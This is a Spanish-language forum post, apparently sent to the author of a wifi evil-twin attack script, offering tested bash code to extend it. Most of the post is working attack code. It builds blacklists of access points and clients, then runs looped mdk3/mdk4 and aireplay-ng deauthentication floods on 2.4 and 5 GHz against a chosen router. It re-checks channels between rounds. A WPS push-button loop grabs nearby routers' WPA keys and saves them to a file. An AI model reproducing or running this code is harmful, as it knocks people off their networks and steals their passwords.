salu2
la verdad no creo que sea capaz de crear el plugin con configuarcion personal
Solo comparto la idea desde la humildad de compartir ideas o conocimientos el de verdad entiende de code es usted Visitor ademas al ser el creador del script sabe por donde es mejor introducir las modificaciones
quizas sea un poco retorcido lo querria explicar o quizas no sepa explicarme yo bien pero lo estoy haciendo en script ...
1 su script ya detecta ifaces 5G y crea ap 5G al parecer pero lo veo un poco no se
(¿poque no? crear ap en 2G en iface 2G y usar iface 5G para ddoss 5G + wps-cli
ademas la iface 5G parara Ddoss para verificar si hay cambio canal en caso de cambio procede si no continua )
mi forma de ver las cosas aunque con sus ideas lo haria mucho mejor eso fijo ...
detecta iface 5g y la uso para scan de ap disponibles
muestro solo las redes 2G del scan
cat $DUMP_PATH/captura/dump-02.csv | awk -F "," '$4 < 14 { print $0 }'
y analizo en captura si hay red 5G del AP seleccionado
busca_AP_5G=$(echo ${Host_MAC:3:11})
cat "$DUMP_PATH/captura/dump-02.csv" | awk ' { printf " %-25s %-22s %-10s %-10s %-10s\n", $1,$14,$4,$9,$6}' FS="," | grep -v "$Host_MAC" | grep "$busca_AP_5G"
si hay que proceda a ddos 5G con iface con soporte 5G y meto los AP 5G en blacklist de mdk4
ademas verificar el si hay clientes conectados a ambas bandas clientes para blacklist ;extraer el cliente de mas potencia para tirarle con aireplay-ng
cat $DUMP_PATH/captura/clientes.csv | grep -a $Host_MAC | awk '{ print $4,$1 }' FS="," | grep -a -v 00:00:00:00| grep -v $Host_MAC | awk '{ print $2,$1 }' FS="-"> "$DUMP_PATH/doss/clientes.txt"
echo "$Host_MAC">>$DUMP_PATH/doss/black-list-mdk3.txt
FICHERO_CLIENTES_2G=$DUMP_PATH/doss/clientes.txt
if [ -s $FICHERO_CLIENTES_2G ] ; then ## -s Verifica si el archivo esta vacio
cat $DUMP_PATH/doss/clientes.txt | cut -d" " -f2>>$DUMP_PATH/doss/black-list-mdk3.txt ## clientes blacklist mdk3
awk '$1 > max { max=$1; linea=$0 }; END { print max, linea }' $DUMP_PATH/doss/clientes.txt >>$DUMP_PATH/doss/aireplay.txt #Extrae cliente con mas cercano para aireplay-ng
Client_aireplay=$(cat $DUMP_PATH/doss/aireplay.txt | awk '{ print $3}'| grep ".")
echo "ddos clientes ">$DUMP_PATH/doss/ddos2.txt
else ## No hay clientes el archivo esta vacio
echo "ddos sin clientes ">$DUMP_PATH/doss/ddos1.txt
rm -rf $DUMP_PATH/doss/clientes.txt
fi
if [ -e $DUMP_PATH/captura/si-hay-red-5G.txt ] ; then ## Verifica si hay red 5G
cat $DUMP_PATH/captura/clientes.csv | grep -a $BSSID_5G | awk '{ print $4,$1 }' FS="," | grep -a -v 00:00:00:00| grep -v $BSSID_5G | awk '{ print $2,$1 }' FS="-"> "$DUMP_PATH/doss/clientes-5G.txt"
FICHERO_CLIENTES_5G=$DUMP_PATH/doss/clientes-5G.txt
if [ -s $FICHERO_CLIENTES_5G ] ; then # -s Verifica si el archivo esta vacio
echo "ddos clientes 5G">$DUMP_PATH/doss/ddos2-5G.txt
cat $DUMP_PATH/doss/clientes-5G.txt | cut -d" " -f2 >> $DUMP_PATH/doss/black-list-mdk4.txt # clientes 5G blacklist Mdk4
awk '$1 > max { max=$1; linea=$0 }; END { print max, linea }' $DUMP_PATH/doss/clientes-5G.txt >>$DUMP_PATH/doss/aireplay-5G.txt
Client_aireplay_5G=$(cat $DUMP_PATH/doss/aireplay-5G.txt | awk '{ print $3}'| grep ".")
else ## No hay clientes el archivo esta vacio
echo "ddos sin clientes 5G">$DUMP_PATH/doss/ddos1-5G.txt
rm -rf $DUMP_PATH/doss/clientes-5G.txt
fi
## combina clientes en las blacklists fuerza la no conexion de cliente en ambas bandas
if [ -e $DUMP_PATH/doss/clientes.txt ] ; then
head $DUMP_PATH/doss/clientes.txt | cut -d" " -f2>> $DUMP_PATH/doss/black-list-mdk4.txt
elif [ -e $DUMP_PATH/doss/clientes-5G.txt ] ; then
head $DUMP_PATH/doss/clientes-5G.txt | cut -d" " -f2 >> $DUMP_PATH/doss/black-list-mdk3.txt
fi
rm -rf $DUMP_PATH/doss/clientes-5G.txt $DUMP_PATH/doss/clientes.txt
fi
ataqua_doss
-----------
si el router no emite bandas 5G se usara iface igualmente para Ddos 2G mdk4 y aireplay-ng + wpa_supplicant + wps_cli capturando posibles pussh button de los routers de alrededores
pero parando ddos cada x tiempo para verificar posible cambio de canal todo ello con la segunda iface2 code extraido de wps_pbc de Kdctv
while true ; do
killall wpa_supplicant dhclient 2>/dev/null
if [ -e $DUMP_PATH/stop-bucle.txt ] ; then
echo "\t Saliendo" & break & exitmode
fi
wpa_supplicant -c $DUMP_PATH/PBC.conf -D nl80211 -i $iface_2 -B &>$linset_output_device &
sleep 1
wpa_cli -i $iface_2 wps_pbc any &>$linset_output_device
if ( grep -q "network=" $DUMP_PATH/PBC.conf ) ; then
echo -e $verde$subrayar"\t Key negociation completada!"$rescolor
wpakey=$( grep "psk=" $DUMP_PATH/PBC.conf | cut -d = -f 2 | cut -c 2- | rev | cut -c 2- | rev )
essid=$( grep "ssid=" $DUMP_PATH/PBC.conf | cut -d = -f 2 | tr -d '"' )
killall wpa_supplicant dhclient &>/dev/null
echo -e $verde"\t Key negociation completed! $wpakey"$rescolor >>/root/Desktop/clave.txt
echo -e $verde"\t WPA Key: $essid"$rescolor>>/root/Desktop/clave.txt
echo -e $verde"\t $essid : $wpakey"$rescolor
rm -rf $DUMP_PATH/PBC.conf
sleep 5
break & matartodo & exitmode
fi
sleep 120 &>$linset_output_device
done
y el ddoss en bucle parando cada x tiempo y verificando posible cambio de canal y procediendo si hay cambio o no
function ataqua_doss {
while true ; do
kill $mdk3PID &>$linset_output_device
kill $aireplayPID &>$linset_output_device
killall aireplay-ng &> $linset_output_device
killall mdk3 &> $linset_output_device
kill $mdk4PID &>$linset_output_device
kill $aireplay_5G_PID &>$linset_output_device
killall mdk4 &> $linset_output_device
if [ -e $DUMP_PATH/stop-bucle.txt ] ; then
echo " Saliendo" & break
fi
if [ -e $DUMP_PATH/doss/ddos1.txt ] ; then
#iwconfig $WIFI_MONITOR channel $Host_CHAN
xterm $HOLD -bg "#000000" -fg "#FF0009" -title "MDK3" -geometry ${g4_bottomright_window} -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/doss/black-list-mdk3.txt -c $Host_CHAN -s 1024&
mdk3PID=$!
xterm $HOLD -bg black -fg red -geometry ${g4_middleleft_window} -T "Aireplay 2G" -e aireplay-ng -0 0 -a $Host_MAC --ignore-negative-one $WIFI_MONITOR &
aireplayPID=$!
elif [ -e $DUMP_PATH/doss/ddos2.txt ] ; then
#iwconfig $WIFI_MONITOR channel $Host_CHAN
xterm $HOLD -bg "#000000" -fg "#FF0009" -title "MDK3" -geometry ${g4_bottomright_window} -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/doss/black-list-mdk3.txt -c $Host_CHAN -s 1024&
mdk3PID=$!
xterm $HOLD -bg black -fg red -geometry ${g4_middleleft_window} -title "Aireplay 2G" -e aireplay-ng -0 0 -a $Host_MAC -c $Client_aireplay --ignore-negative-one $WIFI_MONITOR &
aireplayPID=$!
fi
if [ -e $DUMP_PATH/captura/si-hay-red-5G.txt ] ; then ############# Verfifica si hay red 5G a ataquar
if [ -e $DUMP_PATH/doss/ddos1-5G.txt ] ; then
#iwconfig ${iface_2}mon channel $CANAL_5G
xterm $HOLD -bg black -fg red -geometry ${g4_middleright_window} -title "MDK4" -e mdk4 ${iface_2}mon d -c ${CANAL_5G} -b $DUMP_PATH/doss/black-list-mdk4.txt -s 1024 -x &
mdk4PID=$!
xterm $HOLD -bg black -fg red -geometry ${g4_topleft_window} -title "Aireplay 5G" -e aireplay-ng -0 0 -a ${BSSID_5G} --ignore-negative-one ${iface_2}mon &
aireplay_5G_PID=$!
elif [ -e $DUMP_PATH/doss/ddos2-5G.txt ] ; then
#iwconfig ${iface_2}mon channel $CANAL_5G
xterm $HOLD -bg black -fg red -geometry ${g4_middleright_window} -title "MDK4" -e mdk4 ${iface_2}mon d -c ${CANAL_5G} -b $DUMP_PATH/doss/black-list-mdk4.txt -s 1024 &
mdk4PID=$!
xterm $HOLD -bg black -fg red -geometry ${g4_topleft_window} -title "Aireplay 5G" -e aireplay-ng -0 0 -a ${BSSID_5G} -c $Client_aireplay_5G --ignore-negative-one ${iface_2}mon &
aireplay_5G_PID=$!
fi
else #### si no hay Red 5G usa iface2 para Ddoss Mdk4 + Aireplay-ng
if [ -e $DUMP_PATH/doss/ddos1.txt ] ; then
xterm $HOLD -bg "#000000" -fg "#FF0009" -title "MDK4" -geometry ${g4_bottomright_window} -e mdk4 ${iface_2}mon d -b $DUMP_PATH/doss/black-list-mdk3.txt -c $Host_CHAN -s 1024&
mdk4PID=$!
xterm $HOLD -bg black -fg red -geometry ${g4_middleleft_window} -T "Aireplay 2G" -e aireplay-ng -0 0 -a $Host_MAC --ignore-negative-one $WIFI_MONITOR &
aireplay_5G_PID=$!
elif [ -e $DUMP_PATH/doss/ddos2.txt ] ; then
xterm $HOLD -bg "#000000" -fg "#FF0009" -title "MDK4" -geometry ${g4_bottomright_window} -e mdk4 ${iface_2}mon d -b $DUMP_PATH/doss/black-list-mdk3.txt -c $Host_CHAN -s 1024&
mdk4PID=$!
xterm $HOLD -bg black -fg red -geometry ${g4_middleleft_window} -title "Aireplay 2G" -e aireplay-ng -0 0 -a $Host_MAC -c $Client_aireplay --ignore-negative-one ${iface_2}mon &
aireplay_5G_PID=$!
fi
fi
Verifica_fallo_hostapd="hostapd" ############# Detiene el script si hay fallos con hostapd
if pgrep -x "$Verifica_fallo_hostapd" &>$linset_output_device ;then
echo "OK"
else
conditional_clear
mostrarheader
echo -e $rojo"Hay problemas con Hostapd quizas la interface no sea compatible"
echo -e "Deteniendo el Ataque y saliendo"$rescolor
sleep 5
break & matartodo & exitmode
fi
espera_para & sleep ${seconde} &>$linset_output_device ############# vuelve a menu y duerme el tiempo introducido
#### Mata procesos de ddos y crea directorio de checkap
kill $mdk3PID &>$linset_output_device
kill $aireplayPID &>$linset_output_device
kill $mdk4PID &>$linset_output_device
kill $aireplay_5G_PID &>$linset_output_device
killall aireplay-ng &> $linset_output_device
killall mdk3 &> $linset_output_device
killall mdk4 &> $linset_output_device
mkdir $DUMP_PATH/checkap
#### Detiene Ddoss y Verifica posible cambio de canal
echo
echo -e $verde$subrayar"\t Deteniendo Ddoss"$rescolor""
echo -e "$amarillo\t Verifificando si hay cambio de canal"$rescolor""
xterm -hold -bg '#000000' -fg '#3A94FF' -title "Verifica Canal" -e airodump-ng --encrypt wpa --band abg -w $DUMP_PATH/checkap/captura ${iface_2}mon -a &> /dev/null &
airodumpPID_5G_PID=$!
sleep 30;
var2=$(cat $DUMP_PATH/checkap/captura-01.kismet.csv | grep "$Host_MAC" | cut -d";" -f6)
if [ $var2 = $Host_CHAN ] ;then # Compara variable var2 con numero del canal
Verifica_channel=$(echo -e "\t${verde}$var2 El ap 2G sigue en el mismo canal $Host_CHAN..$rescolor")
kill $airodumpPID_5G_PID
else
unset Host_CHAN
Host_CHAN=$(cat $DUMP_PATH/checkap/captura-01.kismet.csv | grep "$Host_MAC" | cut -d";" -f6)
Verifica_channel=$(echo -e "\t ${amarillo}$var2 El ap 2G cambio de canal $Host_CHAN...$rescolor")
kill $airodumpPID_5G_PID
fi
if [ -e $DUMP_PATH/captura/si-hay-red-5G.txt ] ; then
var1=$(cat $DUMP_PATH/checkap/captura-01.kismet.csv | grep "$BSSID_5G" | cut -d";" -f6)
if [ $var1 = $CANAL_5G ] ;then # Compara variable var1 con numero del canal 5G
Verifica_channel_5G=$(echo "\t ${verde}$var1 El ap 5G sigue en el mismo canal $CANAL_5G...$rescolor")
kill $airodumpPID_5G_PID
else
unset CANAL_5G
kill $airodumpPID_5G_PID
CANAL_5G=$(cat $DUMP_PATH/checkap/captura-01.kismet.csv | grep "$BSSID_5G" | cut -d";" -f6)
Verifica_channel_5G=$(echo -e "\t ${amarillo}$var1 El ap 5G cambio de canal $CANAL_5G$rescolor")
fi
fi
espera_para &
rm -rf $DUMP_PATH/checkap
done
}
-----------
otra cosa no todas las interfaces son compatibles con hostapd yo tengo una por ejemplo
para que tenga fallo deberia verificar tal fallo y si lo hay parar script en el code anterior lo hace
creo que es algo muy importante ya que si no funciona hostapd ¿ para que continue el script a lo tonto mejor que ejecute salida?
Verifica_fallo_hostapd="hostapd" ############# Detiene el script si hay fallos con hostapd
if pgrep -x "$Verifica_fallo_hostapd" ;then
echo "OK"
else
echo -e $rojo"Hay problemas con Hostapd quizas la interface no sea compatible"
echo -e "Deteniendo el Ataque y saliendo"$rescolor
fi
---
todo ello ha sido testado y probado con 2 interfaces
1 interface con soporte bandas 5G
testado y probado
Sabiendo que hay problemas de inyeccion en algunas interfaces con soporte 5G
si quiere code mas completo sin problemas cuando usted quiera ...
pero recuerde que solo es una idea ni recomendacion usted tiene mas conocimento de code que yo
todo ello con humildad y admiracion por su script